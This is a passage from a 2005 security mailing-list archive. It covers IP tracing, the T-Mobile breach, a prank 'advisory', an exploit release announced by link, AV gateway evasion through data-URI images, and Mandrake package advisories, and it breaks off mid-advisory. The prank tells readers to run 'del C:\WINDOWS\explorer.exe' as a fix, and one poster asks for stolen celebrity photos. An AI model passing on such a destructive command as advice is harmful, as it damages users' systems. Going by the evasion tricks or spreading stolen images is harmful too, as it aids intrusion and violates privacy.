[61.131.63.62] by web61208.mail.yahoo.com via HTTP; > Mon, 10 Jan 2005 18:13:49 PST inetnum: 61.131.0.0 - 61.131.127.255 netname: CHINANET-FJ descr: CHINANET Fujian province network descr: Data Communication Division descr: China Telecom country: CN Not even American... No point in tracking him down further. It's clear the agenda is not domestic. -Eric -- arctic bears - email and dns services http://www.arcticbears.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From kf_lists at digitalmunition.com Wed Jan 12 22:38:46 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Wed, 12 Jan 2005 17:38:46 -0500 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: <1105555430.9780.12.camel@localhost.localdomain> References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> Message-ID: <41E5A6F6.2000406@digitalmunition.com> The best part is that none of the employees or managers even had a canned response. "What we were hacked? *smirk* I've never heard that" was the response I got to begin with, then the guy went to grab his manager whom coached him to say "Our customer relations department is handling this, fax your concerns to them and someone may get back to you". -KF Kristian Hermansen wrote: >Does anyone have specifics on how this hacker Jacobson exploited flaws >in the T-Mobile server applications to gain entry to the back-end >database? Was it some gross oversight on T-Mobile's part or something >more obscure that admins should know about? The Secret Service seems to >believe that either his skills or his underground connections will allow >him to be their personal slut for the next few years. > >http://www.securityfocus.com/news/10271 > >Oh, and if anyone has some of the celebrity pictures that he snarfed >from the database I would care for a link! > > >------------------------------------------------------------------------ > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > From seclists at securinews.com Wed Jan 12 22:46:54 2005 From: seclists at securinews.com (Paul Kurczaba) Date: Wed, 12 Jan 2005 17:46:54 -0500 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> Message-ID: <200501122247.j0CMl8rs018087@lists.netsys.com> I feel bad for the poor folks that follow the "Workaround" :( -Paul -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Team Pwnge Sent: Tuesday, January 11, 2005 5:52 PM To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com; full-disclosure at lists.netsys.com Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TEAM PWN4GE Security Advisory PWNED - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: HIGH Title: EXPLORER: Vulnerability in all versions of Windows Explorer Date: January 11, 2005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple overflows have been found in Windows Explorer, potentially allowing a remote user to open Explorer and run files remotely. Background ========== Windows Explorer is an advanced browsing tool made by Microsoft. It is used in daily tasks to open folders, copy files, delete files, rename files and view files on a system. It is the foundation of the World Wide Web and used by billions worldwide. It runs on an array of machines. Affected versions ================= All versions of Windows' Explorer are vulnerable Description =========== Shogun Suzuki discovered that a remote user can connect to any machine via numerous exploits and use Windows Explorer to view files, rename files, delete files, change permissions on files stored on a remote machine that has been pwned. Impact ====== A remote attacker could install something similar to PCAnywhere after exploiting Windows and use Windows' Explorer to view, copy and or open any file on a victims machine. Workaround ========== On a command prompt: del C:\WINDOWS\explorer.exe Concerns? ========= Security is a primary focus of TEAM PWN4GE and ensuring the progress of secure Windows machines be our dreams. As security concerns should be addressed to respective vendors, we feel the urge to bypass standards and bring our common dreams of a secure homeland to the Interweb. License ======= Copyright 2005 TEAM PWN4GE The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -- _______________________________________________ Outgun.com free e-mail @ www.outgun.com Check out our Premium services - POP3 downloading, e-mail forwarding, and 25MB mailboxes! Powered by Outblaze _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From Valdis.Kletnieks at vt.edu Wed Jan 12 22:50:40 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 12 Jan 2005 17:50:40 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: Your message of "Wed, 12 Jan 2005 17:28:18 EST." <200501122228.j0CMSVrs015898@lists.netsys.com> References: <200501122228.j0CMSVrs015898@lists.netsys.com> Message-ID: <200501122250.j0CMoeN1006392@turing-police.cc.vt.edu> On Wed, 12 Jan 2005 4:32 EST, Eric Paynter said: > Not even American... No point in tracking him down further. It's clear the > agenda is not domestic. On Wed, 12 Jan 2005 17:28:18 EST, Paul Kurczaba said: > That is the same thing I found :) What a waste of bandwidth... He could have > at least sent it from a hijacked box in the US :) O, well... How do you know he didn't start , hit a hijacked US box, and from there used a Chinese proxy server to inject it? ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/6ef0f9b1/attachment.bin From frank at knobbe.us Wed Jan 12 22:57:24 2005 From: frank at knobbe.us (Frank Knobbe) Date: Wed, 12 Jan 2005 16:57:24 -0600 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: <20050112203742.77430.qmail@web53205.mail.yahoo.com> References: <20050112203742.77430.qmail@web53205.mail.yahoo.com> Message-ID: <1105570644.793.25.camel@localhost> On Wed, 2005-01-12 at 12:37 -0800, Steven Rakick wrote: > This would mean that if an image exploiting the > recently announced Microsoft LoadImage API overflow > were imbedded into HTML email there would be zero > defense from the network layer as it would be > completely invisible. > > Why am I not seeing more about this in the press? It > seems pretty threatening to me... Because it's old news from a network layer perspective. Images, emails, etc can also be transferred zipped or encoded in base64 and what not. Lots of IPS/IDS/AV and other gateway devices miss these encoded files. The only novel approach I can see here is the embedding of the data together with type and encoding in the URL. Nice idea. $20 says spyware/spam/porn/phishing sites will adopt this fairly soon. Regards, Frank -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/4f409ecb/attachment.bin From uberguidoz at gmail.com Wed Jan 12 23:11:24 2005 From: uberguidoz at gmail.com (GuidoZ) Date: Wed, 12 Jan 2005 15:11:24 -0800 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16> References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com> <33077.198.162.158.16.1105565539.squirrel@198.162.158.16> Message-ID: > Anonymous? > > > Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP; > > Mon, 10 Jan 2005 18:13:49 PST Yeah, I found that too. However, doing a Google search for public proxies revealed that IP# listed. (http://www.publicproxyservers.com/page1.html) I'll bet it's someone from this list who participated in the previous political debates and decided to share their thoughts without taking the backlash. Besides it being completely off-topic, it's also childish. If you *must* debate, at least participate. ;) Now they are sitting there jacking-off to the discussion we're having. I already emailed the abuse email address listed fromt he WHOIS lookup, though I only got back a canned response stating that they really don't care. So, I'm done with with thread. =) -- Peace. ~G On Wed, 12 Jan 2005 13:32:19 -0800 (PST), Eric Paynter wrote: > On Mon, January 10, 2005 10:53 pm, GuidoZ said: > > Hiding behind an anonymous Yahoo email address is pretty weak too. If you > > *really* need to express yourself so badly, at least reveal your identity. > > Anonymous? > > > Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP; > > Mon, 10 Jan 2005 18:13:49 PST > > inetnum: 61.131.0.0 - 61.131.127.255 > netname: CHINANET-FJ > descr: CHINANET Fujian province network > descr: Data Communication Division > descr: China Telecom > country: CN > > Not even American... No point in tracking him down further. It's clear the > agenda is not domestic. > > -Eric > > -- > arctic bears - email and dns services > http://www.arcticbears.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From skylined at edup.tudelft.nl Thu Jan 13 00:21:47 2005 From: skylined at edup.tudelft.nl (Berend-Jan Wever) Date: Thu, 13 Jan 2005 01:21:47 +0100 (CET) Subject: [Full-Disclosure] InternetExploiter 3.2 Message-ID: <2223.172.20.73.43.1105575707.squirrel@www.edup.local> Hi all, I know I released a working exploit earlier but it had two small imperfections, version 0.2 should be more robust and fully OS/SP/language independant. I personally believe it should work on all platforms, but I don't have enough machines nor time to prove my claim, I'll leave that to you. Since my ISP disconnects me every time I attach a PoC that gets flagged as a threat, it is available @ http://www.edup.tudelft.nl/~bjwever Let me know if you experienced troubles with v0.1 that v0.2 doesn't fix for you. Cheers, SkyLined PS. Thanks to spoonm for handing me details on the ANI file format, that should increase the exploits stability a lot ;) From stevenrakick at yahoo.com Thu Jan 13 03:27:20 2005 From: stevenrakick at yahoo.com (Steven Rakick) Date: Wed, 12 Jan 2005 19:27:20 -0800 (PST) Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: <1105570644.793.25.camel@localhost> Message-ID: <20050113032720.77906.qmail@web53207.mail.yahoo.com> I see a distinct difference here. First off, this technique doesn't add an additional layer of user interaction like zipping a file and/or password protecting it. Secondly, other techniques don't completely obsure the content or content header from the inspection mechanism. Now for the actual reason for this email. This evening I noticed that my CheckPoint Firewall-1 (with SmartDefense) now has a new option to "Block Encoded Images". It doesn't actually detect the exploit code, but at least someones starting to at least give you an option to defend yourself by blocking RFC 2397 formatted images. --- Frank Knobbe wrote: > On Wed, 2005-01-12 at 12:37 -0800, Steven Rakick > wrote: > > This would mean that if an image exploiting the > > recently announced Microsoft LoadImage API > overflow > > were imbedded into HTML email there would be zero > > defense from the network layer as it would be > > completely invisible. > > > > Why am I not seeing more about this in the press? > It > > seems pretty threatening to me... > > Because it's old news from a network layer > perspective. Images, emails, > etc can also be transferred zipped or encoded in > base64 and what not. > Lots of IPS/IDS/AV and other gateway devices miss > these encoded files. > > The only novel approach I can see here is the > embedding of the data > together with type and encoding in the URL. Nice > idea. $20 says > spyware/spam/porn/phishing sites will adopt this > fairly soon. > > Regards, > Frank > > > ATTACHMENT part 2 application/pgp-signature name=signature.asc __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From frank at knobbe.us Thu Jan 13 04:24:40 2005 From: frank at knobbe.us (Frank Knobbe) Date: Wed, 12 Jan 2005 22:24:40 -0600 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: <20050113032720.77906.qmail@web53207.mail.yahoo.com> References: <20050113032720.77906.qmail@web53207.mail.yahoo.com> Message-ID: <1105590280.793.49.camel@localhost> On Wed, 2005-01-12 at 19:27 -0800, Steven Rakick wrote: > First off, this technique doesn't add an additional > layer of user interaction like zipping a file and/or > password protecting it. No, I meant zip encoding as in gzip'ed web content. I wasn't referring to ZIP archives user have to open. > This evening I noticed that my CheckPoint Firewall-1 > (with SmartDefense) now has a new option to "Block > Encoded Images". It doesn't actually detect the > exploit code, but at least someones starting to at > least give you an option to defend yourself by > blocking RFC 2397 formatted images. Any idea how it does that? Does it look for encoding patterns or does it decode and then check? The later might have an adverse performance impact on busy sites. Cheers, Frank -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/de2344ec/attachment.bin From aditya.deshmukh at online.gateway.expertworks.net Thu Jan 13 05:11:32 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Thu, 13 Jan 2005 10:41:32 +0530 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501122247.j0CMl8rs018087@lists.netsys.com> Message-ID: >I feel bad for the poor folks that follow the "Workaround" :( Yep it DOESN'T WORK! ;) ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From bruno at wolff.to Thu Jan 13 05:58:16 2005 From: bruno at wolff.to (Bruno Wolff III) Date: Wed, 12 Jan 2005 23:58:16 -0600 Subject: [Full-Disclosure] Re: Full-Disclosure: Interesting but suspicious possible phishing mail In-Reply-To: <200501120156.j0C1uCrs005908@lists.netsys.com> References: <200501111334.j0BDYZ9f008427@lists.netsys.com> <200501120156.j0C1uCrs005908@lists.netsys.com> Message-ID: <20050113055816.GA6639@wolff.to> On Tue, Jan 11, 2005 at 19:56:17 -0600, RandallM wrote: > Have been getting a number of these come thru also at work. > Of course all the users are asking me questions about these. > They all have the strange words, paragraphs, and questions like this one. > They really got my attention. I at first thought they were hidden messages > but > Not so as the one we receive come as text. I believe they are intended to break bayesian filtering. If you start tagging those messages as spam you are likely to have the false positive rate of your bayesian filter increase. Presumably they want average users to give up on bayesian filtering after having problems with it. From security at linux-mandrake.com Thu Jan 13 06:32:17 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Wed, 12 Jan 2005 23:32:17 -0700 Subject: [Full-Disclosure] MDKSA-2005:006 - Updated hylafax packages fix vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: hylafax Advisory ID: MDKSA-2005:006 Date: January 12th, 2005 Affected versions: 10.0, 10.1 ______________________________________________________________________ Problem Description: Patrice Fournier discovered a vulnerability in the authorization sub-system of hylafax. A local or remote user guessing the contents of the hosts.hfaxd database could gain unauthorized access to the fax system. The updated packages are provided to prevent this issue. Note that the packages included with Corporate Server 2.1 do not require this fix. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1182 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: ee579763c8d03a6700ed952b9ccec832 10.0/RPMS/hylafax-4.1.8-2.1.100mdk.i586.rpm 342f2d7f890f2b31ef689eb0a308dee4 10.0/RPMS/hylafax-client-4.1.8-2.1.100mdk.i586.rpm 998f0ad4665e364c607fae0d87bf6e63 10.0/RPMS/hylafax-server-4.1.8-2.1.100mdk.i586.rpm 5113375fd58490f64f6b5c0293780a79 10.0/RPMS/libhylafax4.1.1-4.1.8-2.1.100mdk.i586.rpm 996a95af88ca9ab77371448957b7271f 10.0/RPMS/libhylafax4.1.1-devel-4.1.8-2.1.100mdk.i586.rpm 3530b9962aa58309aa59c1fd355d23ac 10.0/SRPMS/hylafax-4.1.8-2.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 8b37c55f1eaadd9c4a0645c43b4ad25c amd64/10.0/RPMS/hylafax-4.1.8-2.1.100mdk.amd64.rpm cb3290ee2bf666ed51e427e59829459d amd64/10.0/RPMS/hylafax-client-4.1.8-2.1.100mdk.amd64.rpm 05451b45a4036f314933d15b755ea8d7 amd64/10.0/RPMS/hylafax-server-4.1.8-2.1.100mdk.amd64.rpm 35310391ebce8f0a4085ed6b7d2ccd04 amd64/10.0/RPMS/lib64hylafax4.1.1-4.1.8-2.1.100mdk.amd64.rpm d1b71635033b9e72c86057a0f156c544 amd64/10.0/RPMS/lib64hylafax4.1.1-devel-4.1.8-2.1.100mdk.amd64.rpm 3530b9962aa58309aa59c1fd355d23ac amd64/10.0/SRPMS/hylafax-4.1.8-2.1.100mdk.src.rpm Mandrakelinux 10.1: 2cbc9e6bd58daf7d2d15f6091416ca23 10.1/RPMS/hylafax-4.2.0-1.1.101mdk.i586.rpm 80cf2d108124ebab09f2d92ffd3e2391 10.1/RPMS/hylafax-client-4.2.0-1.1.101mdk.i586.rpm b4e98805f61130b91b5cc98ba886af89 10.1/RPMS/hylafax-server-4.2.0-1.1.101mdk.i586.rpm 5afec8caa3b77932c27d032e21a0eeed 10.1/RPMS/libhylafax4.2.0-4.2.0-1.1.101mdk.i586.rpm e5aafca41da67cacdef699983d81f3f0 10.1/RPMS/libhylafax4.2.0-devel-4.2.0-1.1.101mdk.i586.rpm 1fae0a459f3dce423c904ab262921cba 10.1/SRPMS/hylafax-4.2.0-1.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: ccfce91efcd9e16651a6bb2995a2cc78 x86_64/10.1/RPMS/hylafax-4.2.0-1.1.101mdk.x86_64.rpm 6fd803abc59ec7d04f289d3aca50bd25 x86_64/10.1/RPMS/hylafax-client-4.2.0-1.1.101mdk.x86_64.rpm b7ee9463f3bdf38fa1c1f5271d1d4022 x86_64/10.1/RPMS/hylafax-server-4.2.0-1.1.101mdk.x86_64.rpm 394b51eaef66c424ce9d448dd4ab237e x86_64/10.1/RPMS/lib64hylafax4.2.0-4.2.0-1.1.101mdk.x86_64.rpm 75fbf7eb72ba172e204612580e58b2f1 x86_64/10.1/RPMS/lib64hylafax4.2.0-devel-4.2.0-1.1.101mdk.x86_64.rpm 1fae0a459f3dce423c904ab262921cba x86_64/10.1/SRPMS/hylafax-4.2.0-1.1.101mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB5hXxmqjQ0CJFipgRAsKAAJ9BQXhAKBLMQ9rBpe+OfRpNGonKKgCg2NaN kQcWe5+upOq+jtr7PT1q6NM= =eiBI -----END PGP SIGNATURE----- From security at linux-mandrake.com Thu Jan 13 06:33:58 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Wed, 12 Jan 2005 23:33:58 -0700 Subject: [Full-Disclosure] MDKSA-2005:007 - Updated imlib packages fix vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: imlib Advisory ID: MDKSA-2005:007 Date: January 12th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1 ______________________________________________________________________ Problem Description: Pavel Kankovsky discovered several heap overflow flaw in the imlib image handler. An attacker could create a carefully crafted image file in such a way that it could cause an application linked with imlib to execute arbitrary code when the file was opened by a user (CAN-2004-1025). As well, Pavel also discovered several integer overflows in imlib. These could allow an attacker, creating a carefully crafted image file, to cause an application linked with imlib to execute arbitrary code or crash (CAN-2004-1026). The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: bd7bbc47dfdf26b04d510c6b030b3cac 10.0/RPMS/imlib-1.9.14-8.2.100mdk.i586.rpm f204804429ead96fa2f90f5b8a531571 10.0/RPMS/imlib-cfgeditor-1.9.14-8.2.100mdk.i586.rpm ac82e42545e886d3e1362d0af8834d71 10.0/RPMS/libimlib1-1.9.14-8.2.100mdk.i586.rpm 0d824361bc7b789a4b244be0be5b20ef 10.0/RPMS/libimlib1-devel-1.9.14-8.2.100mdk.i586.rpm 7d6cb872bed064d54dba0d631eb9b673 10.0/RPMS/libimlib2_1-1.0.6-4.2.100mdk.i586.rpm 71ab28571ee2bbff24c7396881e7d51e 10.0/RPMS/libimlib2_1-devel-1.0.6-4.2.100mdk.i586.rpm ecc8bda60ab924afe42f4eb5834bf42c 10.0/RPMS/libimlib2_1-filters-1.0.6-4.2.100mdk.i586.rpm f2946cf510224a452cc928f5546ff1f0 10.0/RPMS/libimlib2_1-loaders-1.0.6-4.2.100mdk.i586.rpm 9382c1d6bce0884340042fa9e525fd08 10.0/SRPMS/imlib-1.9.14-8.2.100mdk.src.rpm 7698695bd2daa38fba1612c1e91a5b3a 10.0/SRPMS/imlib2-1.0.6-4.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 3e37213ffc4b149e26e5e6a88912ecae amd64/10.0/RPMS/imlib-1.9.14-8.2.100mdk.amd64.rpm b14f75972c2ab469b800e7b6cdc90c55 amd64/10.0/RPMS/imlib-cfgeditor-1.9.14-8.2.100mdk.amd64.rpm bca21d96eab3e80d6be9d4b5628b0690 amd64/10.0/RPMS/lib64imlib1-1.9.14-8.2.100mdk.amd64.rpm 59a9d02a3108a833b42b43b84efd6aa3 amd64/10.0/RPMS/lib64imlib1-devel-1.9.14-8.2.100mdk.amd64.rpm d14d300215f734dc6eafb63c78957399 amd64/10.0/RPMS/lib64imlib2_1-1.0.6-4.2.100mdk.amd64.rpm 46656504ac97b356c559134b718ad65b amd64/10.0/RPMS/lib64imlib2_1-devel-1.0.6-4.2.100mdk.amd64.rpm 6f2bbe8bef5bd694a6b062f0dfa50667 amd64/10.0/RPMS/lib64imlib2_1-filters-1.0.6-4.2.100mdk.amd64.rpm 98279179853713a4ff3e328275d39c9f amd64/10.0/RPMS/lib64imlib2_1-loaders-1.0.6-4.2.100mdk.amd64.rpm 9382c1d6bce0884340042fa9e525fd08 amd64/10.0/SRPMS/imlib-1.9.14-8.2.100mdk.src.rpm 7698695bd2daa38fba1612c1e91a5b3a amd64/10.0/SRPMS/imlib2-1.0.6-4.2.100mdk.src.rpm Mandrakelinux 10.1: b804394b67f0b9bb15c1a2704f20b8fd 10.1/RPMS/imlib-1.9.14-10.1.101mdk.i586.rpm 5dbd8093bb1c95dcf04d1e3cafee8379 10.1/RPMS/imlib-cfgeditor-1.9.14-10.1.101mdk.i586.rpm 74fe1d864ceaf4b1f9915dbc65fc837d 10.1/RPMS/libimlib1-1.9.14-10.1.101mdk.i586.rpm c0392b410caf1fe46414cc4ce5d5c502 10.1/RPMS/libimlib1-devel-1.9.14-10.1.101mdk.i586.rpm e16941d022d2b244f58c538d096f9197 10.1/RPMS/libimlib2_1-1.1.0-4.1.101mdk.i586.rpm 2ad468fc89027a25fccf0b2264ab3846 10.1/RPMS/libimlib2_1-devel-1.1.0-4.1.101mdk.i586.rpm a98356b5cc103684758a82779b16d9b3 10.1/RPMS/libimlib2_1-filters-1.1.0-4.1.101mdk.i586.rpm 801a3eb303cc342880166557697479c6 10.1/RPMS/libimlib2_1-loaders-1.1.0-4.1.101mdk.i586.rpm e6bd5e4f0bc5978fb3a8d26ae5c5dd72 10.1/SRPMS/imlib-1.9.14-10.1.101mdk.src.rpm f096122ff3f7446a973f82569ce6d19b 10.1/SRPMS/imlib2-1.1.0-4.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 42e81c0bad99a2a9eff7fff43b38de2f x86_64/10.1/RPMS/imlib-1.9.14-10.1.101mdk.x86_64.rpm 35b869d568d1b0cce730ef4f3c5d2f71 x86_64/10.1/RPMS/imlib-cfgeditor-1.9.14-10.1.101mdk.x86_64.rpm ddf5381735f1ed8ed482d179a9c42de1 x86_64/10.1/RPMS/lib64imlib1-1.9.14-10.1.101mdk.x86_64.rpm 583fdf2bf60cc87927db70af044238ff x86_64/10.1/RPMS/lib64imlib1-devel-1.9.14-10.1.101mdk.x86_64.rpm 99011882872248e9c9aef49eb78fe683 x86_64/10.1/RPMS/lib64imlib2_1-1.1.0-4.1.101mdk.x86_64.rpm aa42db65e9630f21240c147ca4922127 x86_64/10.1/RPMS/lib64imlib2_1-devel-1.1.0-4.1.101mdk.x86_64.rpm 320cf06b9011f6825604d9592df0d5d7 x86_64/10.1/RPMS/lib64imlib2_1-filters-1.1.0-4.1.101mdk.x86_64.rpm 010da67dacee54bf6cde18d2324ff96a x86_64/10.1/RPMS/lib64imlib2_1-loaders-1.1.0-4.1.101mdk.x86_64.rpm e6bd5e4f0bc5978fb3a8d26ae5c5dd72 x86_64/10.1/SRPMS/imlib-1.9.14-10.1.101mdk.src.rpm f096122ff3f7446a973f82569ce6d19b x86_64/10.1/SRPMS/imlib2-1.1.0-4.1.101mdk.src.rpm Corporate Server 2.1: ab41a6e06b2c394050ddeb285f621695 corporate/2.1/RPMS/imlib-1.9.14-5.2.C21mdk.i586.rpm 9d05176150bdf59ceecf40241a1631f5 corporate/2.1/RPMS/imlib-cfgeditor-1.9.14-5.2.C21mdk.i586.rpm 52b5c874ee7e144d85039aa49682ad3f corporate/2.1/RPMS/libimlib1-1.9.14-5.2.C21mdk.i586.rpm e260cdadcdf523def0d4b66115b8320a corporate/2.1/RPMS/libimlib1-devel-1.9.14-5.2.C21mdk.i586.rpm 1c12ac001c73155f2e923816da7047c0 corporate/2.1/RPMS/libimlib2_1-1.0.5-2.2.C21mdk.i586.rpm 70a4a84f76bbb393df69b4ab117cdbb6 corporate/2.1/RPMS/libimlib2_1-devel-1.0.5-2.2.C21mdk.i586.rpm 264d82ddd09ebf4c1ae1fdb88e794f40 corporate/2.1/RPMS/libimlib2_1-filters-1.0.5-2.2.C21mdk.i586.rpm a847cb7487e25a62748b7ee266984a0e corporate/2.1/RPMS/libimlib2_1-loaders-1.0.5-2.2.C21mdk.i586.rpm ca39e30856216675d571f9f9f9a2b4be corporate/2.1/SRPMS/imlib-1.9.14-5.2.C21mdk.src.rpm e7e6f332b38fd76ec211fbbc46212a50 corporate/2.1/SRPMS/imlib2-1.0.5-2.2.C21mdk.src.rpm Corporate Server 2.1/x86_64: fa90e46be3192cbab1a1444624ca40a5 x86_64/corporate/2.1/RPMS/imlib-1.9.14-5.2.C21mdk.x86_64.rpm 9c5aef1f71673548fcdc9b3206941837 x86_64/corporate/2.1/RPMS/imlib-cfgeditor-1.9.14-5.2.C21mdk.x86_64.rpm 15d184b211666b7276e0a1300b669649 x86_64/corporate/2.1/RPMS/libimlib1-1.9.14-5.2.C21mdk.x86_64.rpm cf09dfd10b3cbf2685e4c6584eddee9e x86_64/corporate/2.1/RPMS/libimlib1-devel-1.9.14-5.2.C21mdk.x86_64.rpm 0f23c5a1360a652e38f7c01311b4a79e x86_64/corporate/2.1/RPMS/libimlib2_1-1.0.5-2.2.C21mdk.x86_64.rpm ab887e8c51e6576b2669cc9221573e2e x86_64/corporate/2.1/RPMS/libimlib2_1-devel-1.0.5-2.2.C21mdk.x86_64.rpm 8f53044bc07b6426b425fc9593f893fb x86_64/corporate/2.1/RPMS/libimlib2_1-filters-1.0.5-2.2.C21mdk.x86_64.rpm cb4f6b69b23b18b10412e85446339597 x86_64/corporate/2.1/RPMS/libimlib2_1-loaders-1.0.5-2.2.C21mdk.x86_64.rpm ca39e30856216675d571f9f9f9a2b4be x86_64/corporate/2.1/SRPMS/imlib-1.9.14-5.2.C21mdk.src.rpm e7e6f332b38fd76ec211fbbc46212a50 x86_64/corporate/2.1/SRPMS/imlib2-1.0.5-2.2.C21mdk.src.rpm Mandrakelinux 9.2: 79bdc3aa16d848940ed1cf94e19887a8 9.2/RPMS/imlib-1.9.14-8.2.92mdk.i586.rpm 72df820a8b61c902e2a6332c99aab1c4 9.2/RPMS/imlib-cfgeditor-1.9.14-8.2.92mdk.i586.rpm a2b76c722b5ae0007a6ad59bc31cfb8d 9.2/RPMS/libimlib1-1.9.14-8.2.92mdk.i586.rpm 441bf743e1762a8a0743058af6ac57ca 9.2/RPMS/libimlib1-devel-1.9.14-8.2.92mdk.i586.rpm d70303d4fcd33aa96623d126fddcaaa7 9.2/RPMS/libimlib2_1-1.0.6-4.2.92mdk.i586.rpm 3cd32605bfdcf4c500716cd7d5b7a3e7 9.2/RPMS/libimlib2_1-devel-1.0.6-4.2.92mdk.i586.rpm 62b1faf5b90cd88f17e18d5a7d38c641 9.2/RPMS/libimlib2_1-filters-1.0.6-4.2.92mdk.i586.rpm 0d939526721cfe411ee5ef785de2b0d3 9.2/RPMS/libimlib2_1-loaders-1.0.6-4.2.92mdk.i586.rpm 40f1dd9fd95b30eba31a44394e2b73c2 9.2/SRPMS/imlib-1.9.14-8.2.92mdk.src.rpm 7ad3b6b6914332ca7c344df43814465f 9.2/SRPMS/imlib2-1.0.6-4.2.92mdk.src.rpm Mandrakelinux 9.2/AMD64: 25edf03f98c07e50d6be3feabcc65738 amd64/9.2/RPMS/imlib-1.9.14-8.2.92mdk.amd64.rpm 8ad4f7a5276450271a3497e0eda5b172 amd64/9.2/RPMS/imlib-cfgeditor-1.9.14-8.2.92mdk.amd64.rpm 5dd09c5e9c63016451162ae3ec73fd58 amd64/9.2/RPMS/lib64imlib1-1.9.14-8.2.92mdk.amd64.rpm 40cd5079caa745125e8160de58bd64fe amd64/9.2/RPMS/lib64imlib1-devel-1.9.14-8.2.92mdk.amd64.rpm fbf581720a50a7cc8052da20f63de75f amd64/9.2/RPMS/lib64imlib2_1-1.0.6-4.2.92mdk.amd64.rpm e37d711c09e62f40965c37316fd67f0b amd64/9.2/RPMS/lib64imlib2_1-devel-1.0.6-4.2.92mdk.amd64.rpm 2bda7e59415e5774cd68f2b2a080c1a7 amd64/9.2/RPMS/lib64imlib2_1-filters-1.0.6-4.2.92mdk.amd64.rpm 26e31fe0f48212b698cd612dba1a7c5a amd64/9.2/RPMS/lib64imlib2_1-loaders-1.0.6-4.2.92mdk.amd64.rpm 40f1dd9fd95b30eba31a44394e2b73c2 amd64/9.2/SRPMS/imlib-1.9.14-8.2.92mdk.src.rpm 7ad3b6b6914332ca7c344df43814465f amd64/9.2/SRPMS/imlib2-1.0.6-4.2.92mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain 